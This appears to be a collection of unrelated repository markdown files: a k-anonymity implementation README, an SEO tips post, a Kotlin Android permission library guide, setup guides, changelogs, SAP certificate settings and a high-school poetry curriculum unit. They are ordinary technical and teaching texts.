text:
# K-anonymity
K-anonymity is a property possessed by certain anonymized data. The concept of k-anonymity was first introduced by Latanya Sweeney and Pierangela Samarati in a paper published in 1998 as an attempt to solve the problem: "Given person-specific field-structured data, produce a release of the data with scientific guarantees that the individuals who are the subjects of the data cannot be re-identified while the data remain practically useful." A release of data is said to have the k-anonymity property if the information for each person contained in the release cannot be distinguished from at least k - 1 individuals whose information also appear in the release(Cited from [Wikipedia](https://en.wikipedia.org/wiki/K-anonymity)). Here we implement k-anonymity via two algorithms: Samarati and Mondian and have further discussions about what difference does it make with different parameters, e.g., k and MaxSup.
## Introduction
Sweeney[1] demonstrated that releasing a data table by simply removing identifiers can seriously breach the privacy of individuals whose data are in the table. By combinig a public voter registration list and a released medical database of health insurance information, she was able to identify the medical record of the governor of Massachusetts. This kind of attack is called _linking attack_. To protect data from linking attacks, Samarati and Sweeney proposed _k-anonymity_ [1,2].

We give the definition of k-anonymity as follows:

**Definition 1: _k-Anonymity_** : Given a set of QI attributes ![](http://latex.codecogs.com/svg.latex?Q_1), ![](http://latex.codecogs.com/svg.latex?\dots), ![](http://latex.codecogs.com/svg.latex?Q_d)
, release candidate ![](http://latex.codecogs.com/svg.latex?D^{\ast}) is said to be k-anonymous with respect to ![](http://latex.codecogs.com/svg.latex?Q_1), ![](http://latex.codecogs.com/svg.latex?\dots), ![](http://latex.codecogs.com/svg.latex?Q_d)
 if each unique tuple in the projection of ![](http://latex.codecogs.com/svg.latex?D^*)
 on ![](http://latex.codecogs.com/svg.latex?Q_1), ![](http://latex.codecogs.com/svg.latex?\dots), ![](http://latex.codecogs.com/svg.latex?Q_d)
 occurs at least k times.

 To implement _k-anonymity_, we have the following two algorithms proposed by Samarati[2], Mondrian[3].

 ## Data
 There are 32561 rows in the original data which may contain missing items. After cleaning, there are 30162 rows in total.

 You can find original source via https://archive.ics.uci.edu/ml/datasets/adult.

 ## Algorithm
 ### Samarati
 For Algorithm 1 (Samarati) which deals with multiple categotical attributes, basic idea can be illustrated as follows:
 1. Define the hierarchy of generealization and Construct a Lattice.
 2. For instance, the distance vector corresponding to a generalized table with hierarchy <![](http://latex.codecogs.com/svg.latex?X_1), ![](http://latex.codecogs.com/svg.latex?Y_1)> is [1,1]
 3. Given the constraint that the generalized table must satisfy k-anonymity and that the deleted records is less than MaxSup, we need to set the sum of all the distance vectors as small as possible.

Consequently, we use bisection method to complete the process: For a lattice with its maximun height h, we determine whether the nodes with height h/2 is k-anonymous. If so, we proceed with the nodes with height h/4, otherwise we check the nodes with height 3h/4. We repeat the above process until the layer with minimun height satisfying k-anonymity is found.

We give specific generalizaiton hierarchy according to the generalization hierarchy given in adult_.txt as below.
![image](https://github.com/Hjh233/K-anonymity/blob/main/Image/1.PNG)
![image](https://github.com/Hjh233/K-anonymity/blob/main/Image/2.PNG)

### Mondrian
For algorithm 2 (Mondrian) which deals with multiple numerical attributes, basic idea can be illustrated as folllows:
1. Choose one attribute for every partition, you can choose the attribute with maximum range or just randomly pick one.
2. Find the median of the selected attribute and split the partition. There are 2 ways of doing partitioning, strict partitioning and relax partitioning respectively.
   * Say we set k = 2, and we have a dataset = [1,2,3,3,4,5]
   * For strict partitioning, we have the split dataset as [1,2,3,3],[4,5]. That is, we place all the median to one bucket.
   * For relax partitioning, we have the split dataset as [1,2,3],[3,4,5]. That is, we try to make the partitioned dataset as even as possible.
3. Repeat the process above until every cluster is k-anonymous and no more partitioning is allowed.

There are still some details to be illustrated: After partitioning the maximum cluster, we need to judge whether the partitioned ones are k-anonymous or not. If so, we proceed. If not, we set the table the way it used to be before partitioning and tag the maximum cluster to show that the cluster cannot be partitioned.

You can find quite detailed information about Mondrian from https://github.com/qiyuangong/Mondrian

## Utility
We now discuss how to use loss metric to measure the utility of data after sanitization (here we use generlization). Normally, we would like the utility of sanitized data to be as big as possible so long as the release data meets relevant privacy criterion.

We give the definition of Loss Metric as follows:

**Definition 2: _Loss metric_** : LM is defined in terms of a normalized loss for each attribute of every tuple. For a tuple t and categorical attribute A, suppose the value of t[A] has been generalized to x. Letting |A| represent the size of the domain of attribute A and letting M represent the number of values in this domain that could have been generalized to x, then the loss for t[A] is (M − 1)/(|A| − 1). The loss for attribute A is defined as the average of the loss t[A] for all tuples t. The LM for the entire data set is defined as the sum of the losses for each attribute.

Samarati guarantees that we find the final hierarchy with its height minimized. Under such constraint, however, there may still be multiple solutions. Now we seek to find the 'optimal' output with its utility maximized, that is, its loss metric minimized (here we consider it a proper method to evaluate the output). We give our way to find the optimal output as follows:

We initialize 2 lists: HierarchyVector = [], LMHV = [] , to record the hierarchy vectors that can be used to generalize the data satisfying k-anonymity and their loss metric respectively. We only need to find the index of minimum in LMHV, and then we can find the hierarchy that minimize the loss metric simply by getting the value of HierarchyVector[index]. Relevent code is shown as below.

```
def Samarati(data,Lattice,LM,HV): # Hierarchy Vector
    low = 0
    high = 8
    while (low < high):
        mid = int((low + high)/2)
        for VECTOR in Lattice[mid]:
            GTC = Generalize(data, VECTOR)  # Generalized table candidate
            if Releasable(Cluster(GTC)) == 0:
                low = mid + 1
            else:
                ReleaseVector = copy.deepcopy(VECTOR)
                HV.append(ReleaseVector) # NEW!
                SupNum = Cluster(data) # NEW!
                LM.append(LossMetric(ReleaseVector, SupNum)) # NEW!
                high = mid

    Min = min(LM) # NEW!
    MinIndex = LM.index(Min) # NEW!

    ReleaseVector = HV[MinIndex] # NEW!

    return ReleaseVector
 ```

## More Information
 [1] Sweeney, Latanya. “Datafly: A System for Providing Anonymity in Medical Data.” Proceedings of the IFIP TC11 WG11.3 Eleventh International Conference on Database Securty XI: Status and Prospects, 1997, pp. 356–381.
 [2] Samarati, P. “Protecting Respondents Identities in Microdata Release.” IEEE Transactions on Knowledge and Data Engineering, vol. 13, no. 6, 2001, pp. 1010–1027.
 [3] LeFevre, K., et al. “Mondrian Multidimensional K-Anonymity.” 22nd International Conference on Data Engineering (ICDE’06), 2006, pp. 25–25.

## Support
 Since this is the first time I learned how to deal with literally large amount of data, I did not consider how to improve the performance of the code. The code I provide is quite slow. I would be very much appreciated if you can make improvements on the code.

 Contribution via [Pull Requests](https://github.com/Hjh233/K-anonymity/pulls) is greatly appreciated!


text:
---
layout: post
title: "SEO: Layout and Site Tips"
image_url: http://farm5.staticflickr.com/4028/4711121074_c820ccca58_b.jpg
image_credit: Double--M
category: post
tags: [SEO, good enough, design]
meta_description: Quick things that I have found about how to layout your site in order to be SEO efficient.
---

Every time I create a site layout, I'm always concerned about how to make the site SEO compatible. I'm not talking about hacking the site so that it handles all the [new algorithms][1] that Google comes out with. I'm talking about just the basics.

The information I can find is always scattered all over the place so I figured for my own reference I would write down all the things I currently know. As I find new things I will add them to this page, so feel free to bookmark this page as a reference.

Please note. If your on Wordpress or an out-of-the-box theme most of this stuff is handled for you. But I like diving into the nitty gritty.

## Understand Keywords
Keywords are the fundamental thing to understand about SEO. Keywords are the terms people search for in order to find your site. This is what people are constantly battling for with SEO.

You should use keywords _a few_ times in your post. DO NOT over do keywords. There is nothing worse than finding a page that is specifically trying to game the engine. Your content will look nasty and unreadable to humans. If you don't follow this advice I guarantee you at some point you will be penalized by Google.

In order to get the [long tail][] use a keyword phrase. A keyword phrase is going to be 3 to 4 words grouped together that people would search for in order to find your content. Use this phrase at most 2 - 4 times throughout the content of your page. That's it.

This should happen naturally as your write. Don't over do it, the content looks lame and unnatural if you do. I don't even think about keywords when I write anymore. I just write. I did at one point think this was important and even wrote a [Jekyll SEO keyword tool][5].

## Title Tag
The title of your post is the [most important][3] factor. You want whatever content you are writing about to be in the title of the page. A title is the first thing humans look at to determine whether what they are about to read is interesting to them. Like humans, search engines use the title for indexing relevant content to keywords. Whatever your post is about should be prominent in the title of the post.

Also, don't put your brand name before what the content is about. The closer the word is to the left of the title the more relevant the content must be.

__Good:__ SEO: A Quick Blog Primer - Constantly Learning

__Bad:__ Constantly Learning - SEO: A Quick Blog Primer

## Permalink Structure
The title of your post should be in the url. Wordpress and most modern blog frameworks, including [Jekyll][6] by default put the title of the post in the url.

__Good:__ http://www.mysite.com/maximizing-seo/

__Bad:__ http://www.mysite.com/11345/p207.html

## Subfolder or Subdomain
This is one of the more interesting arguments in the SEO world. To answer this question it depends on your use case:

> Subfolders are best for most cases. If your site has a fairly narrow topical focus (movie reviews, an SEO blog, a strictly news site) then subfolders allows you to transfer a lot of the authority that your root domain has to these pages to help them rank quickly.

> If, on the other hand, your site covers a wide variety of topics (product reviews, in-depth book reviews) or has a lot of user generated content (like HubPages, WordPress or Blogger), then separating your content into subdomains will net greater results, assuming you have the SEO resources to do so. In the former case, a tighter topical focus shows Google that your site is focused and relevant, allowing it to rank higher for associated keywords. In the latter, separating user generated content into its own subdomain allows Panda to penalize low-quality content and leaves the quality content producers untouched.

If you do want a folder, you can use a [reverse proxies][reverse proxies] to accomplish it.

## Alt Tags on Images
Tag all of your images with an alt tag. Search engines use alt tags for credit towards the keywords.

#### Example

{% highlight html %}

{% endhighlight %}

Alt tags for images can be done fairly simple in Jekyll as follows:

{% highlight html %}

{% endhighlight %}

## Get Rid of Broken Links
Web crawlers judge you by the overall impression of your page.  You will often link to content external to your site which you don't control. This is where using [Google Webmaster Tools][3] is sweet. Webmaster tools will help you find broken links from and to your site.

Once Webmaster tools are setup. Click Health -> Crawl Errors -> Not Found

![webmaster tools pic](http://cl.ly/image/3E0w1p280Z20/Screen%20shot%202012-10-30%20at%201.57.42%20PM.png)

## Duplication caused by pagination
Only do the following if you have a sitemap.xml or else some of your content won't be found. Upon [doing research][10], I found out that google penalizes sites that have duplicate content. This means pagination can screw your site.

With pagination you have multiple pages that have the same content. Google sees a bunch of the same content as bad. A simple [fix][11] is to use the `rel=next` and `rel=prev` directive on your tags.

#### Example

{% highlight html %}
Older Posts
{% endhighlight %}

## Frequent Updates & Great Content
Although only technical things have been mentioned the single most important thing you can do is [write great content and post frequently][12].

When people are using search engines they are trying to find a solution to a problem. People tweet things they find interesting. People [like][4] things they want to tell their friends about.

Fundamentally people share and find content they are looking for. In order to be the content they find you need to teach them something. Write content that people want to learn and they will share with others. Always keep this in mind when writing content.

## Link to Your Own Content
Don't over do this.  If you have more than 1 link per 250 words than you are over doing it.

Links help people and search engines navigate your site. Internal links with good anchor text has an impact on your page position in Google results.

## One H1?
Dave Doolin, the author of hRecipe, says:

> Matt Cutts states in this video that multiple h1 elements is something Google watches for, and may penalize if the useage [sic] doesn't make sense.

> Since Google gets to decide what makes sense, I'm keeping hRecipe titles marked up as h2 elements.
Also, and this is important, hRecipe is open source under the GPL. Everyone is free to modify, or have someone else modify the plugin any way they see fit.

So Google decides what makes sense for layout. Don't over do it.

[1]: http://www.seomoz.org/google-algorithm-change "Changes to Google index algorithm"
[3]: http://www.searchenginejournal.com/on-page-seo-factors-which-ones-have-the-most-impact-on-rankings/40926/
[4]: /2012/10/the-facebook-like-button-is-a-web-bug/
[5]: /2012/06/jekyll-and-seo-optimization/
[6]: https://github.com/mojombo/jekyll/wiki/Permalinks
[7]: /2012/10/find-long-tail-keywords-using-google-analytics/
[reverse proxies]: http://www.seomoz.org/blog/what-is-a-reverse-proxy-and-how-can-it-help-my-seo
[10]: http://searchengineland.com/five-step-strategy-for-solving-seo-pagination-problems-95494
[11]: http://googlewebmastercentral.blogspot.com/2011/09/pagination-with-relnext-and-relprev.html
[12]: http://www.codinghorror.com/blog/2007/10/how-to-achieve-ultimate-blog-success-in-one-easy-step.html
[13]: http://website-in-a-weekend.net/building-traffic/on-page-seo-multiple-h1-elements/

license: MIT

branch_name: refs/heads/master

extension: md

gha_language: HTML

license_type: permissive


text:
# RuntimePermissionsExtended

[![Android Weekly](https://img.shields.io/badge/Android%20Weekly-260-blue.svg)](http://androidweekly.net/issues/issue-260)

This project provides Kotlin extension functions that make permission handling easier and more concise.
These extensions provide same implementation for permission handling in both *Activities* and *Fragments*.

## Usage

All system permissions are annotated in *[AppPermission](https://github.com/Vuksa/KotlinoidRuntimePermission/blob/master/library/src/main/kotlin/com/techwolf/android/permissionhandler/AppPermission.kt)* class.

AppPermission class preview:
```kotlin
sealed class AppPermission(val permissionName: String,
                         val requestCode: Int,
                         val deniedMessageId: Int,
                         val explanationMessageId: Int) {

    object CAMERA:  AppPermission(permissionName = Manifest.permission.CAMERA,
    requestCode = 1,
    deniedMessageId = R.string.permission_camera_denied,
    explanationMessageId = R.string.permission_camera_explanation)
    /**
    * other permissions
    **/
}

```

**`AppPermission`** class properties:
* _`permissionName`_ - system permission that you want to request (string value)
* _`requestCode`_ - *unique* requestCode for permission request (int value)
* _`deniedMessageId`_ - string resource id of message that should be shown to user if permission is denied
* _`explanationMessageId`_ - string resource id of message that should be shown to user if rationale
permission explanation is needed

>Note: If you want to use certain permission, you can do that by annotating **`AppPermision.{PERMISSION NAME}`**

### Step 0: Prepare AndroidManifest

Add the following line to AndroidManifest.xml:

```xml
<uses-permission android:name="android.permission.CAMERA" />
```

### Step 1: Request permission by calling *[handlePermission](https://github.com/Vuksa/KotlinoidRuntimePermission/blob/master/library/src/main/kotlin/com/techwolf/android/permissionhandler/PermissionHandler.kt#L61)* function

In Activity or Fragment where you want to perform operation that needs system permission use
`handlePermission` function as in example bellow:

Example - requesting camera permission:
```kotlin
fun captureCameraImage(){
        handlePermission(AppPermission.CAMERA_PERMISSION,
            onGranted = {
                 /** Permission is granted and we can use camera*inte */
                 openCameraPreviewScreen()
            },
            onDenied = {
                /** Permission is not granted - we should request permission **/
                requestPermission(it)
            },
            onExplanationNeeded = {
                /** Additional explanation for permission usage needed **/
                snackbarWithAction(it.explanationMessageId) {
                    requestPermission(it)
                }
            })
}
```

`handlePermission` function signature:
```kotlin
fun handlePermission(permission: AppPermission,
                     onGranted: (AppPermission) -> Unit,
                     onDenied: (AppPermission) -> Unit,
                     onExplanationNeeded: (AppPermission) -> Unit)
```

**`handlePermission`** function parameters:
* *`AppPermission`* - permission for which we are creating request (e.g AppPermission.CAMERA_PERMISSION)
* *`onGranted`* - lambda block that will be executed if permission is granted.
* *`onDenied`* - lambda block that will be executed if permission is not granted.
* *`onExplanationNeeded`* - lambda block that will be executed if additional explanation for permission is needed.

>Note: In every permission request callback block you can access instance of requested AppPermission via Kotlin keyword ''**it**'' (implicit name of a single parameter).

### Step 2: Handle *`onRequestPermissionResult`* callback

In Activity or Fragment where you need CAMERA permission you should override `onRequestPermissionsResult` function and delegate its parameters
to [onRequestPermissionsResultReceived](https://github.com/Vuksa/KotlinoidRuntimePermission/blob/master/library/src/main/kotlin/com/techwolf/android/permissionhandler/PermissionHandler.kt#L75) extension functions as in example bellow:

```kotlin
    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<out String>, grantResults: IntArray) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
        onRequestPermissionsResultReceived(requestCode, permissions, grantResults,
                onPermissionGranted = {
                    /** start camera preview **/
                     openCameraPreviewScreen()
                },
                onPermissionDenied = {
                    /** show message that permission is denied**/
                    snackbarWithoutAction(it.deniedMessageId)
                }
        )
    }
```

**`onRequestPermissionsResultReceived`** function signature:
```kotlin
fun onRequestPermissionsResultReceived(requestCode: Int, permissions: Array<out String>,
                                       grantResults: IntArray,
                                       onPermissionGranted: (AppPermission) -> Unit,
                                       onPermissionDenied: (AppPermission) -> Unit)
```

**`onRequestPermissionsResultReceived`** function parameters:
* *`requestCode`* - the request code passed in requestPermission(Int) call.
* *`permissions`* - the requested permissions. Never null.
* *`grantResults`* - the grant results for the corresponding permissions.
* *`onPermissionGranted`* - lambda block that will be executed if permission is granted.
* *`onPermissionDenied`* - lambda block that will be executed if permission is denied.

>**Important Note:** Currently, these permission extensions are only able to handle one permission request at the time. Requesting two or more permissions in single permission request is yet to be implemented.

## Licence
```
MIT License

Copyright (c) 2017 Nebojsa Vuksic

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
```


text:
# Node.js code kata starter repo

This repo contains nothing but a trivial passing test.

We assume that you have Node.js and npm installed.
To check your environment is set up and works run the following commands from the console:

* `npm install`
* `npm test`

You should see output similar to the following:

```bash
><EMAIL_ADDRESS>test
jasmine

Randomized with seed 11158
Started
.

1 spec, 0 failures
Finished in 0.008 seconds
Randomized with seed 11158 (jasmine --random=true --seed=11158)
```

This means you are all ready for your code kata, enjoy!

repository: rossmawdnew/command-line-parser

branch_name: refs/heads/main

repo_name: rossmawdnew/command-line-parser


text:
# Project Name

Team Name: ZMBLND

Team Members: Mohammad Hussain, Stephanus Jonatan, Shivaansh Prasann

This project is a reimplementation of "Free Survival Zombie Kit" created by the developer Leandro
Vieira.
https://unitylist.com/p/f1s/Free-Survival-Zombie-Kit

The folders and files for this project are as follows:

Doc - Documentation for the project

Src - Implementation


text:
# KNIME configuration

You can install and use seq-to-first-iso with
the [KNIME](https://docs.knime.com/) Analytics Platform to process data from SLIM-labeling.

Requirements:
  - KNIME
  - conda
  - a little bit of Python knowledge

This guide is for KNIME 3.7.2 only.

## Install (Ana)conda

Install the latest version of [Anaconda](https://www.anaconda.com/) with Python 3.x.

## Install KNIME

Install KNIME 3.7.2. You can download this version [here](https://www.knime.com/download-previous-versions).

## Set up Python for KNIME

You need to install and configure a Python extension in KNIME.

This guide is adapted from the [3.7 Python installation guide](https://docs.knime.com/2018-12/python_installation_guide/index.html) from KNIME.

### Set up the conda environment

**On Windows**, if you want to use conda with the default command-line interface *CMD*, you need to do some configuration, else use *Anaconda prompt* (or any other interface that recognizes conda) bundled with conda.

If conda was not added to the PATH environment variable during the installation, you have to configure your shell to use the `conda` commands:

```
 setx PATH=%PATH%;C:<PATH_WHERE_YOU_INSTALLED_CONDA>\Scripts
```

By default `<PATH_WHERE_YOU_INSTALLED_CONDA>` is `C:\Users\<Username>\<CONDA_INSTALLATION>` where `<Username>` is the Windows username and `<CONDA_INSTALLATION>` is the name of the conda installer (e.g: "Anaconda3").

#### Create a conda environment

Download the environment file [*knime/environment-knime.yml*](https://raw.githubusercontent.com/pierrepo/seq-to-first-iso/master/knime/environment-knime.yml (*Right click → Save as ...*).

![](img/knime_conda_yaml.png)

In the directory where *environment-knime.yml* has been downloaded, open a shell/*Anaconda prompt* and use:

```shell
conda env create -f environment-knime.yml
```

The command

```shell
conda env list
```

should now list `seq-to-first-iso-knime` in available environments.

#### Create a start script

Create a small script to start the conda environment by using the [templates defined by KNIME](https://docs.knime.com/2018-12/python_installation_guide/index.html#_creating_a_start_script_for_python).<br>
In our case `<ENVIRONMENT_NAME>` is `seq-to-first-iso-knime` while
`<PATH_WHERE_YOU_INSTALLED_ANACONDA>` depend on the user's conda configuration and operating sytem.

For windows, here is an example of such a script (`conda_env.bat`):
```
@REM Adapt the folder in the PATH to your system
@SET PATH=%USERPROFILE%\Miniconda3\Scripts;%PATH%
@CALL activate seq-to-first-iso-knime || ECHO Activating python environment failed
@python %*
```

### Configure the Python extension

In the KNIME interface, go to *File → Install KNIME Extensions*,
then search for *Python Integration* to find the KNIME Python Integration.

![](img/knime_python_integration.png)

Select and install this extension.

Then, go ot the configuration menu *File → Preferences → KNIME → Python*. In the Python 3 subsection, paste the absolute path to your start script.

*e.g: Windows path `C:\Documents\<script_name>`*

Select, Python 3 as default, then Apply and close.

If everything went alright, you should now be able to use Python script nodes with KNIME.

## Use seq-to-first-iso with KNIME

**Warning**: this tutorial assumes you use the latest version of seq-to-first-iso.

The following steps are made of examples, adapt them to your needs.

We assumes that:

- `input_table_1` contains (if any) unlabeled amino acids,
- `input_table_2` contains peptide sequences (column `pep_seq`) and charges (column `pep_charge`).

Create a Python scripting node by going in the Node Repository then *Scripting → Python → Python Script (1⇒1)*. The node will receive a table as an input.

```python
import pandas as pd
import seq_to_first_iso as stfi

print(stfi.__version__)

# List of unlabelled amino acids from multiple selection node.
# It is the first node used in this case.
unlabelled_aa = list(input_table_1.iloc[:, 0])
print("Amino acids unlabelled:", unlabelled_aa)

# Take the content of the parsed file.
# The name output_table will inform KNIME that
# the variable is an output table.
output_table = input_table_2.copy()

# Extract relevant columns
df = pd.DataFrame()
df["sequence"] = output_table["pep_seq"]
df["charge"] = output_table["pep_charge"]

# Get M0/M1 intensities
df_peptides = stfi.compute_intensities(df, unlabelled_aa)

# Export final results
output_table = stfi.export_to_knime(outpu_table, df_peptides)
```

![](img/knime_minimal_table_input.png)

## Update seq-to-first-iso in KNIME

### Update conda environnement

Open *Anaconda prompt*, then enter the following commands:
```
conda activate seq-to-first-iso-knime
conda install seq-to-first-iso
```

### Update Python script

Open the Python Script node and check the content of the script is similar to the above code.

repository: pierrepo/seq-to-first-iso

gha_language: Python

repo_name: pierrepo/seq-to-first-iso


text:
<!--
 Copyright 2020 Lennart Espe

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
-->

# Changelog

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [Unreleased]

## [v0.1]

### Added

- Basic TCP reverse proxy implementation
- Support for round robin load balancing

repository: lnsp/tcproxy

repo_name: lnsp/tcproxy


text:
---
title: Changelog
menu:
    main:
        parent: overview
        weight: 3
toc: false
description: Lists the changes per ChirpStack Geolocation Server release, including steps how to upgrade.
---

# Changelog

## v3.3.1

### Bugfixes

* Fixes init stop script which could cause the ChirpStack Geolocation Server to not properly stop or restart.

## v3.3.0

This release renames LoRa Geo Server to ChirpStack Geolocation Server.
See the [Rename Announcement](https://www.chirpstack.io/r/rename-announcement) for more information.

## v3.2.0

### Features

#### LoRa Cloud

This release adds support for the [LoRa Cloud Geolocation](https://www.loracloud.com/)
geolocation service.

## v3.1.0

### Features

#### Collos multi-frame

The Collos multi-frame integration makes it possible to perform geolocation
using the meta-data of multiple uplink frames to increase accuracy.

#### Prometheus metrics

Metrics can now be exposed using a [Prometheus](https://prometheus.io/) metrics endpoint.

## v3.0.0

This release bumps the major version to v3, to stay in sync with the other
LoRa Server components.

### Improvements

* Update dependencies to their latest versions.

## v2.0.1

### Bugfixes

* Fix keypair loading error (`load key-pair error: tls: found a certificate rather than a key in the PEM for the private key`).

## v2.0.0

Initial release.

## Requirements

You need LoRa Server v2.2+ for geolocation.

repository: dtony/chirpstack-geolocation-server

gha_license_id: MIT

repo_name: dtony/chirpstack-geolocation-server


text:
---
title: SAP settings
meta:
  - name: keywords
  - content: sap settings cf ping sicf
---

# SAP settings
On the on-premise SAP backend, some settings must be checked if you want Principal Propagation to work. The transactions are: RZ10, STRUST, CERTRULE, SICF and SMICM.

## Set ping service
The ping service is always provided in the app. Go to `SICF` transaction and activate the **/sap/bc/ping** service.

::: tip
If you do not want to setup principal propagation, enter a service user for this service and skip the rest of this chapter.
:::

## RZ10
In order to have your oData Gateway service request a certificate rather than prompt for a username and a password, certain profile parameters need to be maintained. This configuration is done using the transaction `RZ10`.

icm/HTTPS/verify_client

* Instructs the system to request a certificate from the client
* Value = 1

login/certificate_mapping_rulebased

* Indicate how to interpret the certificates received
* Value = 1

icm/HTTPS/trust_client_with_issuer

* This is the issuer of the system certificate
* Copy Subject of the issuer exactly as is
* For testing purpose enter `*`

icm/HTTPS/trust_client_with_issuer

* This is the Subject of the system certificate itself
* For testing enter `*`

## STRUST
In transaction `STRUST`, the **issuer** of the System Certificate needs to be added to the Certificate list of the SSL server Standard. Again, it is the issuer of the System Certificate of the SAP Cloud Connector that is required here!

## CERTRULE
Go to your Cloud Connector : Connector > Configuration, tab ON PREMISE, subtab PRINCIPAL PROPAGATION and click on the button `create a sample certificate`. Enter your SAP login emailaddress as CN attribute and download the certificate. Upload the created sample certificate in CERTRULE. Connect the CN with a SAP User ID.

## SMICM
Restart ICM after changes in RZ10.

Use ICM trace for troubleshooting.

## Create SAP Gateway Service
Beyond this scope. Ask your SAP developer.

## More info
* [how-to-guide-principal-propagation-in-an-https-scenario](https://blogs.sap.com/2017/06/22/how-to-guide-principal-propagation-in-an-https-scenario/)
* [SAP help](https://help.sap.com/viewer/cca91383641e40ffbe03bdc78f00f681/Cloud/en-US/a8bb87a72d094e0d981d2b1f67df7bc3.html)

repository: bertdeterd/vuepress-scp-cf

repo_name: bertdeterd/vuepress-scp-cf


text:
---
layout: "unit"
title: "01.03.08: Poems, Prayers, Promises, and Possibilities: The Music of Poetry"
path: "/curriculum/units/2001/3/01.03.08.x.html"
unitTitle: "Poems, Prayers, Promises, and Possibilities: The Music of Poetry"
unitAuthor: "Deborah Hare"
---

Contents of Curriculum Unit 01.03.08:

Narrative

The Griots

Lesson Plan 1

Building Fences

The Beats

Rock And Roll

Lesson Plan Two / Sharing Of Lyrics

Measuring Success

A Poetry Slam/Lesson Plan Three

Teachers' Bibliography

Students' Bibliography

Cds

Films

To Guide Entry

I teach all seniors and after my year with them they will be done with high school. I feel that gives me a profound responsibility to make sure they leave with something valuable, something worthwhile. So in addition to forcing another Shakespeare down their throat, and endless five paragraph essays, I will be strangling them with more poems. For some of them it will be their first experience with poetry so I don't want to mess up my one chance with them. Since I teach Honors level students as well as basic level students this unit is designed for any level.
 It makes me think of that Paul Simon song  "When I think back on all the crap I learned in high school it's a wonder I can think at all" so I, in my great wisdom, have decided to give my students something meaningful, that they can hold in their hearts and in their hands: I will give them poetry.

The following are my overall objectives for this unit:

To introduce ways for high school students to enjoy poetry

To encourage students to express themselves through poetry

To familiarize my students with some new poems

To take the fear out of poetry

To facilitate a safe way for students to write their own poetry

To help students see the connection between their music and the music of poetry

To help students hear their work and how the sound of a poem or an analytical paper will

improve their written work

To develop public speaking skills

We will begin by reading an interview from Bill Moyers' book

The Language of Life

. He has a terrific interview with Quincy Troupe, whom he refers to as "the reigning World Heavyweight Poetry Champion," a title he won in 1994 at the Taos Poetry Circus.

THE GRIOTS

We will read the interview in its entirety as well as some of Troupe's poems. Moyers asks him why his words hang out "apart from any apparent meaning, existing just for the experience of the sound of them." Troupe responds that that is what poetry is supposed to do, "because one of the things we have to remember is that poetry at first was song - it was the troubadours, the griots, the singers." He further describes the griots as "African troubadours, men who sang and brought songs to the villages."  My point to my students is this - we are the griots. We have to carry on our songs and sing them through the village, in this case the village of New Haven.
I intend to use music to hook them and get them interested. Since music is a main part of their lives they will understand the connection between poetry and music.

In his book

Making Your Own Days

, Kenneth Koch put it well when he said, "poets think of how they want something to sound as much as they think of what they want to say and in fact it's often impossible to distinguish one from the other." He says further, "the poetry language is used by persons who have things (known to them or not known) that they need to say, and who are moved by this need and by a delight in making music out of words."

HIP HOP AND RAP

To bring this point home, and to essentially hook them, I intend to start with rap and hip hop music and compare them to the griots of old. To this end I will use

The Rose that grew from Concrete

, a collection of poetry by Tupac Shakur that he wrote before he was famous. Tupac, named after a South American rebel fighter from Peru, Tupac Amaru, is a favorite of my students. He seems to reach them in places that resonant deeply for them. He is their hero, their icon, their John Lennon.  Shakur, born and raised in Los Angeles and a former street kid and gang member, expresses his angst about his past and asks forgiveness of his mother and tries to explain his actions in his songs.
This year will be the 30th anniversary of Mayday, 1970. I wasn't in New Haven then but people tell me it was quite something.  Bobby Seale, the former secretary of the Black Panther party was there speaking about equality for all African Americans.

Out of that movement came a young woman named Afeni Shakur. She joined the Black Panthers when she was 20. By the time she was 22 she had been arrested and charged with conspiracy to bomb several public areas in New York. Pregnant (with her son Tupac) she was sent to The Women's House of Detention. On June 16th, 1971 Tupac Shakur was born. Tupac is an Inca word that means serpent. We will discuss his life, and try to make connections between his lyrics and his experiences. Thinking of him as a modern day griot we will decipher and analyze his message through a variety of his poems and some of his songs.

In one of the poems

In the Depths of Solitude

he ponders his true goal of trying to find peace of mind:

Trying 2 find peace of mind

And still preserve my soul

I found this particularly striking because I am very aware, living as I do in the city, of the chaos in my students' lives. Poverty comes with many costs and one of them is noise. Poverty is loud and in your face. Often my students do not have the luxury of a room of their own to ponder anything. They do not have time to write papers or relax. They have after-school jobs. Because they cannot afford a car they use public transportation, they help out welfare mothers and sisters, so the idea of "quiet" time is almost unheard of.

A few times this year I turned off the lights and lit a candle and put on classical music and told them to just write anything at all. At the end of class they usually give me a hug or a handshake and thank me for a good class. Solitude is a luxury for most of my kids. I read the above Tupac poem with them and they asked me what the word solitude meant. I said it meant really quiet alone time. They wish they had that. I am amazed by what my students produce within the circumstances they live. I hope to create a kind of writing laboratory, a creative safe space next year.

A former student e-mailed me recently about a lecture he attended in college given by the author Cornell West. He was pleased because West referred to his generation as the hip-hop generation. He quotes West as saying that  "hip hop essentially evolved both musically and culturally from jazz and specifically the blues, and that just like the jazz age, our age is defined by our refusal of either cynicism or sentimentalism."

West also spoke about gangsta rap and how it's criticized for its rampant use of homophobia, sexism and violence. He argues that while these things should be criticized they should be seen as a product of the society that perpetuates it and that the music cannot be blamed for reflecting the conditions of our environment.

